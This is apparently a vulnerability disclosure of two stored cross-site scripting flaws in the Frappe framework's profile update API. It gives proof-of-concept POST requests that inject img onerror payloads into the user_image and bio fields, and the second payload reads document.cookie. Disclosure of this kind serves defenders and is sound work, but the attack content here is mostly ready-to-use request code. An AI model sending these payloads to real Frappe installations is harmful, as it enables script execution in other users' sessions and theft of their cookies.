An authenticated user can inject malicious JavaScript into the user_image
field of the profile page using an XSS payload within the file path or HTML
context. This field is rendered without sufficient sanitization, allowing
stored script execution in the context of other authenticated users.
*Proof of Concept:*POST
/api/method/frappe.desk.page.user_profile.user_profile.update_profile_info
HTTP/2
Host: --host--
profile_info={"user_image":"/private/files/\"><img src=x
onerror=alert('XSS')>fd12cb.jpg"}
--- packet storm appended second exploit ---
An authenticated attacker can inject JavaScript into the bio field of their
user profile. When the profile is viewed by another user, the injected
script executes.
*Proof of Concept:*
POST
/api/method/frappe.desk.page.user_profile.user_profile.update_profile_info
HTTP/2
Host: --host--
profile_info={"bio":"\"><img src=x onerror=alert(document.cookie)>"}
